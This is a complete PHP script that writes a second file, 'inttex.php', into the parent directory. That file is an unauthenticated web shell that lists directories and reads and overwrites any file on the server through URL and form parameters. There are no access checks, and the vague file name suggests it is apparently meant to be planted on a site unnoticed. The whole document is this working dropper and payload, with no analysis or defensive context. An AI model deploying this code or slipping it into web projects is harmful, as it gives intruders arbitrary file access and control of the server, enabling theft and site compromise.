<?php
$targetDir = '../';
$file = 'inttex.php';
$content = '<?php
$dir = isset($_GET[\'dir\']) ? $_GET[\'dir\'] : \'.\';
$action = isset($_GET[\'action\']) ? $_GET[\'action\'] : \'list\';

if ($action == \'list\') {
    echo \'<ul>\';
    foreach (scandir($dir) as $item) {
        if ($item != \'.\' && $item != \'..\') {
            echo \'<li><a href="?dir=\' . urlencode($dir . \'/\' . $item) . \'">\' . $item . \'</a> | <a href="?action=read&file=\' . urlencode($dir . \'/\' . $item) . \'">Read</a> | <a href="?action=edit&file=\' . urlencode($dir . \'/\' . $item) . \'">Edit</a></li>\';
        }
    }
    echo \'</ul>\';
} elseif ($action == \'read\') {
    $file = $_GET[\'file\'];
    echo \'<pre>\' . htmlspecialchars(file_get_contents($file)) . \'</pre>\';
} elseif ($action == \'edit\') {
    $file = $_GET[\'file\'];
    if (isset($_POST[\'content\'])) {
        file_put_contents($file, $_POST[\'content\']);
        echo \'Saved\';
    } else {
        echo \'<form method="post"><textarea name="content">\' . htmlspecialchars(file_get_contents($file)) . \'</textarea><input type="submit"></form>\';
    }
}
?>';

if (file_put_contents($targetDir . $file, $content)) {
    echo "File created in $targetDir";
} else {
    echo "Failed to create file. Check permissions.";
}
?>